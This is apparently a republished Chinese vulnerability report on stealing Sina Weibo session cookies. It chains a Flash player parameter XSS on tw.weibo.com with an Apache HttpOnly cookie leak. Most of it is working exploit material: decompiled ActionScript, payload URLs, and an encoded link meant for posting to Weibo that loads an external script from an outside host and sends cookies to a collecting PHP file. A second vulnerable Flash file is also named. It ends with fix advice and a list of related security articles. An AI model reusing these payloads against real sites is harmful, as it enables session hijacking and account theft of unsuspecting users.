新浪微博COOKIES盜取[flash編程安全+apache http-only cookie 泄漏利用]

最近突然覺(jué)得,很多FLASH開(kāi)發(fā)人員在編寫的時(shí)候,忽視了安全問(wèn)題。被惡意利用的話,可以實(shí)現(xiàn)URL跳轉(zhuǎn),COOKIES盜取,甚至是蠕蟲攻擊。
漏洞測(cè)試:IE , firefox , chrome(= = 這個(gè)輸入測(cè)試代碼,瀏覽器直接崩潰了)
漏洞成因:
1. 首先說(shuō)的是FLASH編程安全問(wèn)題:
一些編程人員,對(duì)于loaderInfo.parameters 所傳入的參數(shù)都不會(huì)嚴(yán)格過(guò)濾,甚至很多開(kāi)發(fā)人員都有把Javascript函數(shù)名作為參數(shù)傳入的習(xí)慣。
而事實(shí)證明,新浪的開(kāi)發(fā)人員也有類似的習(xí)慣。
2. 首先google 了一下inurl:(swf) site:weibo.com ,將搜索結(jié)果中的SWF全部下載下來(lái)。 用ASV全部反編一下,得到若干txt文件,每個(gè)FLASH一個(gè)。
3. 漏洞利用條件: 有parameters, 有ExternalInterface.call。 我們以此2個(gè)關(guān)鍵詞搜索上面得到的txt文件。
4. 最終鎖定一個(gè)目標(biāo)。http://tw.weibo.com/_common/jwplayer/player.swf
5. 其漏洞源碼如下:
//加載外部參數(shù)
this.loadFlashvars(RootReference.root.loaderInfo.parameters);
//寫入?yún)?shù)
this.setConfigParam(param, params[param]);
//繼續(xù),可以看到參數(shù)寫到了_config 里
this._config[_arg1.toLowerCase()] = Strings.serialize(Strings.trim(_arg2));
//再搜索ExternalInterface.call,找到以下位置
var callbacks:* = (_player.config.playerready) ? ((_player.config.playerready + ",") + "playerReady") : "playerReady";
if (ExternalInterface.available){
for each (callback in callbacks.replace(/\s/, "").split(",")) {
try {
ExternalInterface.call(callback, {id:evt.id, client:evt.client, version:evt.version});
} catch(e:Error) {
};
};
clearQueuedEvents();
};
//可以看出call<--callback<--callbacks<---_player.config.playerready
6. 基于以上分析,我們可以很容易構(gòu)造出利用代碼。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){alert('xxx');})
7. 但是這樣的代碼,還不足以構(gòu)成危害。 頂多就是一個(gè)URL跳轉(zhuǎn)。 連cookies都是獲取不到的。如以下代碼,將返回[拒絕訪問(wèn)]的錯(cuò)誤。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){try{alert(document.cookie)}catch(e){alert(e.description)}})
8. 突破限制,獲取cookies。
正好昨天在百度javascript吧看到一片帖子href,src的妙用(http://tieba.baidu.com/p/1583718448)。正好拿來(lái)突破這種限制了。
(廣告一下,喜歡javascript的可以經(jīng)常來(lái)玩玩??!)。
利用文章中所講技巧,構(gòu)造以下代碼:
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='javascript:"<script>alert(document.cookie)</script>"'})
9. 從上面可以看出,彈出weibo.com的cookies里。但是當(dāng)我拿這個(gè)cookies來(lái)發(fā)送微博的時(shí)候,發(fā)現(xiàn)不成功。 比較了一下獲取的cookies,發(fā)現(xiàn)SUS,SUE兩個(gè)值是http-only的,也就是document.cookie得不到的。
10. 前些天看到有人發(fā)騰訊的apache cookie 泄漏漏洞,結(jié)果因?yàn)闆](méi)有漏洞利用場(chǎng)景被忽略了。看了下tw.weibo.com的HTTP頭,正好是apache的,我們這里可以嘗試用一用了?。?br />從exploit-db下載了利用的JS,做了點(diǎn)小修改。如下,保存為http://appmaker.sinaapp.com/test3.js
11. 構(gòu)造以下利用代碼,調(diào)用上面這個(gè)JS文件。代碼中的test.php為接收cookies的文件。
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href='javascript:"<script/src=\'//appmaker.sinaapp.com\/test3.js\'></script>"'})
編碼一下,可以發(fā)到微博:
http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function()%7Blocation.href%3D'javascript%3A%22%3Cscript%2Fsrc%3D%5C'%2F%2Fappmaker.sinaapp.com%5C%2Ftest3.js%5C'%3E%3C%2Fscript%3E%22'%7D)
12. 結(jié)果表明該服務(wù)器存在apache cookies泄漏漏洞,效果見(jiàn)漏洞證明。
------------------------------------------------------------
總結(jié):
1. FLASH的編寫安全不容忽視,實(shí)際上,我找到了10多個(gè)FLASH中,有2個(gè)FLASH可以被利用到。這說(shuō)明這種漏洞不是偶然,而是被開(kāi)發(fā)者忽略掉的一個(gè)問(wèn)題。
另外一個(gè)不在weibo.com的域名下。提供給你們一起修復(fù)下吧!
http://js.t.sinajs.cn/t4/home/static/swf/img/SinaCollage.swf?JSHandler=(function(){alert('xxx')})
2. 本流程為apache cookies泄漏漏洞的利用,提供了一個(gè)利用場(chǎng)景。
漏洞證明:
1. 微博寫入鏈接:

2. 點(diǎn)擊鏈接后,抓包,見(jiàn)圖
A. Apache cookies 泄漏圖,其中包含有document.cookie無(wú)法獲取到的SUS,SUE

B. 可以看到Cookies被轉(zhuǎn)發(fā)到我們指定的PHP文件中。

3. 利用Cookies在SAE發(fā)送微博失敗。。 提示是
“抱歉,你當(dāng)前使用的賬號(hào)、IP或應(yīng)用由于違反了新浪微博的安全檢測(cè)規(guī)則,暫時(shí)無(wú)法完成此操作啦。你可以綁定手機(jī)來(lái)取消此限制,如有問(wèn)題@微博客服反饋。” 可能做了某些其他限制。
修復(fù)方案:
1. 審查已上線的FLASH文件代碼,嚴(yán)格控制FLASH文件參數(shù)的輸入
2. apache的漏洞給打補(bǔ)丁。
相關(guān)文章
2019最新RDP遠(yuǎn)程桌面漏洞官方補(bǔ)丁(針對(duì)win2003、win2008)
Windows系列服務(wù)器于2019年5月15號(hào),被爆出高危漏洞,windows2003、windows2008、windows2008 R2、windows xp系統(tǒng)都會(huì)遭到攻擊,該服務(wù)器漏洞利用方式是通過(guò)遠(yuǎn)程桌面端口332021-07-25寶塔面板 phpmyadmin 未授權(quán)訪問(wèn)漏洞 BUG ip:888/pma的問(wèn)題分析
這篇文章主要介紹了寶塔面板 phpmyadmin 未授權(quán)訪問(wèn)漏洞 BUG ip:888/pma,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-08-24CPU幽靈和熔斷漏洞是什么?Intel為大家簡(jiǎn)單易懂的科普了一番
不久前讓整全行業(yè)緊張、全球用戶恐慌的Spectre幽靈、Meltdown熔斷兩大漏洞事件剛剛告一段落了,那么這兩個(gè)漏洞到底是什么?可能還有很多人不是很清楚,想了解的朋友跟著小2018-03-21- 2017年5月12日,WannaCry蠕蟲通過(guò)MS17-010漏洞在全球范圍大爆發(fā),感染了大量的計(jì)算機(jī),該蠕蟲感染計(jì)算機(jī)后會(huì)向計(jì)算機(jī)中植入敲詐者病毒,導(dǎo)致電腦大量文件被加密,本文對(duì)其2017-05-17
- 大部分的用戶可能不要了解文件上傳漏洞,下面小編就為大家具體的講解什么事文件上傳漏洞以及文件上傳漏洞的幾種方式2016-11-02
WEB常見(jiàn)漏洞問(wèn)題危害及修復(fù)建議
漏洞檢測(cè)工具用語(yǔ)有高危漏洞,中危漏洞,低危漏洞以及漏洞的危害介紹,本文介紹的非常詳細(xì),具有參考解決價(jià)值,感興趣的朋友一起看看吧2016-10-11漏洞 自動(dòng)化腳本 論漏洞和自動(dòng)化腳本的區(qū)別
漏洞無(wú)處不在,它是在硬件、軟件、協(xié)議的具體實(shí)現(xiàn)或系統(tǒng)安全策略上存在的缺陷,從而可以使攻擊者能夠在未授權(quán)的情況下訪問(wèn)或破壞系統(tǒng)2016-09-29手把手教你如何構(gòu)造Office漏洞POC(以CVE-2012-0158為例)
近年來(lái)APT追蹤盛行,最常見(jiàn)的就是各種以釣魚開(kāi)始的攻擊,不僅僅有網(wǎng)站掛馬式釣魚,也有魚叉式郵件釣魚,下面小編就為大家介紹office漏洞CVE-2012-0158,一起來(lái)看看吧2016-09-28簡(jiǎn)單七步教你如何解決關(guān)鍵SSL安全問(wèn)題和漏洞
SSL(安全套接字層)逐漸被大家所重視,但是最不能忽視的也是SSL得漏洞,隨著SSL技術(shù)的發(fā)展,新的漏洞也就出現(xiàn)了,下面小編就為大家介紹簡(jiǎn)單七步教你如何解決關(guān)鍵SSL安全問(wèn)題2016-09-23Python 爬蟲修養(yǎng)-處理動(dòng)態(tài)網(wǎng)頁(yè)
在爬蟲開(kāi)發(fā)中,大家可以很輕易地 bypass 所謂的 UA 限制,甚至用 scrapy 框架輕易實(shí)現(xiàn)按照深度進(jìn)行爬行。但是實(shí)際上,這些并不夠。關(guān)于爬蟲的基礎(chǔ)知識(shí)比如數(shù)據(jù)處理與數(shù)據(jù)存2016-09-12